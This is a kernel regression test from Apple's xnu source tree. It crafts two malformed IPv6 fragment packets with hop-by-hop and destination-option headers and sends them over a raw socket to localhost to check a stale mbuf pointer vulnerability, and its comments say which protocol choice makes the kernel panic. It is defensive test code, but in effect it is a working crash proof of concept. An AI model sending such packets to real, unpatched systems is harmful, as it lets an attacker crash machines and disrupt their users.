xref: /xnu-12377.81.4/tests/IP6_EXTHDR_CHECK_61873584.c (revision 043036a2b3718f7f0be807e2870f8f47d3fa0796)
1*043036a2SApple OSS Distributions #include <errno.h>
2*043036a2SApple OSS Distributions #include <stdio.h>
3*043036a2SApple OSS Distributions #include <string.h>
4*043036a2SApple OSS Distributions #include <stdlib.h>
5*043036a2SApple OSS Distributions #include <unistd.h>
6*043036a2SApple OSS Distributions #include <arpa/inet.h>
7*043036a2SApple OSS Distributions #include <net/if_var.h>
8*043036a2SApple OSS Distributions #include <netinet/ip6.h>
9*043036a2SApple OSS Distributions #include <darwintest.h>
10*043036a2SApple OSS Distributions 
11*043036a2SApple OSS Distributions struct packet1 {
12*043036a2SApple OSS Distributions 	struct ip6_hbh hbh;
13*043036a2SApple OSS Distributions 	struct ip6_opt hbh_opt;
14*043036a2SApple OSS Distributions 	uint8_t hbh_pad[4];
15*043036a2SApple OSS Distributions 	struct ip6_frag frag;
16*043036a2SApple OSS Distributions 	struct ip6_dest dest;
17*043036a2SApple OSS Distributions 	struct ip6_opt dest_opt;
18*043036a2SApple OSS Distributions 	uint8_t dest_pad[4];
19*043036a2SApple OSS Distributions };
20*043036a2SApple OSS Distributions 
21*043036a2SApple OSS Distributions struct packet2 {
22*043036a2SApple OSS Distributions 	struct ip6_hbh hbh;
23*043036a2SApple OSS Distributions 	struct ip6_opt hbh_opt;
24*043036a2SApple OSS Distributions 	uint8_t hbh_pad[4];
25*043036a2SApple OSS Distributions 	struct ip6_frag frag;
26*043036a2SApple OSS Distributions 	struct ip6_opt dest_opt;
27*043036a2SApple OSS Distributions 	uint8_t dest_pad[6];
28*043036a2SApple OSS Distributions 	uint8_t payload[16];
29*043036a2SApple OSS Distributions };
30*043036a2SApple OSS Distributions 
31*043036a2SApple OSS Distributions T_DECL(IP6_EXTHDR_CHECK_ICMPV6_61873584, "ICMPv6 test for IP6_EXTHDR_CHECK stale mbuf pointer vulnerability", T_META("as_root", "true"), T_META_TAG_VM_PREFERRED)
32*043036a2SApple OSS Distributions {
33*043036a2SApple OSS Distributions 	struct sockaddr_in6 daddr;
34*043036a2SApple OSS Distributions 	struct packet1 packet1;
35*043036a2SApple OSS Distributions 	struct packet2 packet2;
36*043036a2SApple OSS Distributions 	int s, id, res;
37*043036a2SApple OSS Distributions 
38*043036a2SApple OSS Distributions 	srand(time(NULL));
39*043036a2SApple OSS Distributions 	id = rand();
40*043036a2SApple OSS Distributions 
41*043036a2SApple OSS Distributions 	T_SETUPBEGIN;
42*043036a2SApple OSS Distributions 	T_ASSERT_POSIX_SUCCESS(s = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS), NULL);
43*043036a2SApple OSS Distributions 	T_SETUPEND;
44*043036a2SApple OSS Distributions 
45*043036a2SApple OSS Distributions 	memset(&daddr, 0, sizeof(daddr));
46*043036a2SApple OSS Distributions 	daddr.sin6_family = AF_INET6;
47*043036a2SApple OSS Distributions 	daddr.sin6_port = 0;
48*043036a2SApple OSS Distributions 	inet_pton(AF_INET6, "::1", &daddr.sin6_addr);
49*043036a2SApple OSS Distributions 
50*043036a2SApple OSS Distributions 	memset(&packet1, 'A', sizeof(struct packet1));
51*043036a2SApple OSS Distributions 	packet1.hbh.ip6h_nxt = IPPROTO_FRAGMENT;
52*043036a2SApple OSS Distributions 	packet1.hbh.ip6h_len = 0;
53*043036a2SApple OSS Distributions 	packet1.hbh_opt.ip6o_type = IP6OPT_PADN;
54*043036a2SApple OSS Distributions 	packet1.hbh_opt.ip6o_len = 4;
55*043036a2SApple OSS Distributions 	packet1.frag.ip6f_nxt = IPPROTO_DSTOPTS;
56*043036a2SApple OSS Distributions 	packet1.frag.ip6f_reserved = 0;
57*043036a2SApple OSS Distributions 	packet1.frag.ip6f_offlg = htons(0) | IP6F_MORE_FRAG;
58*043036a2SApple OSS Distributions 	packet1.frag.ip6f_ident = id;
59*043036a2SApple OSS Distributions 	// Use IPPROTO_RAW for "assertion failed: m->m_flags & M_PKTHDR" panic
60*043036a2SApple OSS Distributions 	// Use IPPROTO_ICMPV6 for "m_free: freeing an already freed mbuf" panic
61*043036a2SApple OSS Distributions 	packet1.dest.ip6d_nxt = IPPROTO_RAW;
62*043036a2SApple OSS Distributions 	packet1.dest.ip6d_len = 1;
63*043036a2SApple OSS Distributions 	packet1.dest_opt.ip6o_type = IP6OPT_PADN;
64*043036a2SApple OSS Distributions 	packet1.dest_opt.ip6o_len = 4;
65*043036a2SApple OSS Distributions 
66*043036a2SApple OSS Distributions 	memset(&packet2, 'B', sizeof(struct packet2));
67*043036a2SApple OSS Distributions 	packet2.hbh.ip6h_nxt = IPPROTO_FRAGMENT;
68*043036a2SApple OSS Distributions 	packet2.hbh.ip6h_len = 0;
69*043036a2SApple OSS Distributions 	packet2.hbh_opt.ip6o_type = IP6OPT_PADN;
70*043036a2SApple OSS Distributions 	packet2.hbh_opt.ip6o_len = 4;
71*043036a2SApple OSS Distributions 	packet2.frag.ip6f_nxt = IPPROTO_DSTOPTS;
72*043036a2SApple OSS Distributions 	packet2.frag.ip6f_reserved = 0;
73*043036a2SApple OSS Distributions 	packet2.frag.ip6f_offlg = htons(8);
74*043036a2SApple OSS Distributions 	packet2.frag.ip6f_ident = id;
75*043036a2SApple OSS Distributions 	packet2.dest_opt.ip6o_type = IP6OPT_PADN;
76*043036a2SApple OSS Distributions 	packet2.dest_opt.ip6o_len = 6;
77*043036a2SApple OSS Distributions 
78*043036a2SApple OSS Distributions 	T_ASSERT_POSIX_SUCCESS(res = sendto(s, (char *)&packet1, sizeof(packet1), 0,
79*043036a2SApple OSS Distributions 	    (struct sockaddr *)&daddr, (socklen_t)sizeof(daddr)), NULL);
80*043036a2SApple OSS Distributions 	T_ASSERT_POSIX_SUCCESS(res = sendto(s, (char *)&packet2, sizeof(packet2), 0,
81*043036a2SApple OSS Distributions 	    (struct sockaddr *)&daddr, (socklen_t)sizeof(daddr)), NULL);
82*043036a2SApple OSS Distributions 	T_ASSERT_POSIX_SUCCESS(res = close(s), NULL);
83*043036a2SApple OSS Distributions }
84